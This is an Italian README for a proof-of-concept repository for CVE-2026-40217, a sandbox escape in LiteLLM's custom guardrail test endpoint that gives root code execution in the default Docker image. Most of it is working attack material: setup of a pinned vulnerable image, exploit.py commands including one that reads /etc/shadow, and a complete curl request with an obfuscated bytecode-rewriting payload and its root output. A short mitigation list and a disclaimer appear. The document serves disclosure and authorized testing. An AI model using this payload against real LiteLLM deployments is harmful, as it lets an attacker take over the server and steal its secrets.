
Il codice per riprodurre personalmente la relativa vulnerabilità
LiteLLM
POST /guardrails/test_custom_code— Evasione dalla sandbox che porta a Remote Code Execution (RCE) come root nella distribuzione Docker predefinita.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-40217 |
| CVSS | 8.8 (ALTO) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-913 (Controllo improprio delle risorse di codice gestite dinamicamente) / CWE-94 |
| Versioni interessate | LiteLLM ≤ 2026-04-08 (pre-v1.83.11) |
| Corretta in | v1.83.11+ (sandbox artigianale sostituita con RestrictedPython) |
| Scoperta da | Markus Vervier — X41 D-Sec GmbH |
| Pubblicata | 2026-04-08 |
| Link | Advisory X41 • GHSA-wxxx-gvqv-xp7p • oss-security |
L'endpoint POST /guardrails/test_custom_code in LiteLLM consente agli utenti autenticati di inviare codice Python arbitrario per il test delle guardrail. L'endpoint tenta di limitare le operazioni pericolose utilizzando filtri basati su regex sul codice sorgente, ma questi possono essere completamente aggirati tramite tecniche di riscrittura del bytecode CPython, portando a esecuzione arbitraria di codice nel processo proxy. Nell'immagine Docker predefinita, il proxy viene eseguito come root, amplificando l'impatto.
# Installazione delle dipendenze Python (richieste da exploit.py)
pip install -r requirements.txt
⚠️ Importante: il file
docker-compose.ymlfissa l'immagine vulnerabile a un digest specifico (sha256:7c311546...) del 22 marzo 2026. Non modificare il tag inmain-latestné in una versione più recente — le immagini successive potrebbero già contenere la correzione (RestrictedPython) anche se il numero di versione suggerisce il contrario (ad esempio,v1.83.10-stableè stata ricostruita dopo la patch e non è vulnerabile).
# 1. Installare le dipendenze (se non già fatto)
pip install -r requirements.txt
# 2. Avviare un'istanza LiteLLM vulnerabile
docker compose up -d
# 3. Eseguire l'exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"
# 4. Leggere file sensibili (modificare l'argomento --cmd)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
--cmd "cat /etc/shadow"
# Oppure direttamente con curl
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/guardrails/test_custom_code \
-d '{
"custom_code": "def apply_guardrail(inputs, request_data, input_type):\n obj = str.mro()[1]\n def g(fn):\n yield fn.placeholder\n c = g(None).gi_code\n gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n for v in g(http_get):\n gd = v\n break\n bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n return {\"rce\": imp(\"os\").popen(\"id\").read()}",
"test_input": {"messages": [{"role": "user", "content": "test"}]}
}'
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}
CVE-2026-40217/
├── README.md # Questo file
├── docker-compose.yml # Ambiente vulnerabile con un solo comando
├── requirements.txt # Dipendenze
├── exploit/
│ ├── exploit.py # Script di exploit completo
│ └── payload.py # Modulo del payload bytecode
├── docs/
│ └── advisory.md # Dettagli dell'advisory tradotti
└── screenshots/ # Screenshot di prova
RestrictedPython invece della sandbox artigianale)/guardrails/test_custom_code presso il proprio reverse proxy / API gatewaydocker run --user 1000:1000 ...Disclaimer: Questo contenuto è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati.
| Passaggio | Tecnica | Codice |
|---|
| 1 | Bypass delle regex tramite concatenazione di stringhe | "_"+"_gl"+"ob"+"als"+"_"+"_" |
| 2 | Ottenere la classe object tramite str.mro()[1] | obj = str.mro()[1] |
| 3 | Accedere all'oggetto codice del generatore tramite gi_code | c = g(None).gi_code |
| 4 | Sostituire __code__ della funzione tramite object.__setattr__ | obj.__setattr__(g, cn, c.replace(co_names=(gn,))) |
| 5 | Estrarre i builtins reali da http_get.__globals__ | imp = gd["__builtins__"]["__import__"] |
| 6 | Ottenere RCE tramite os.popen | imp("os").popen("id").read() |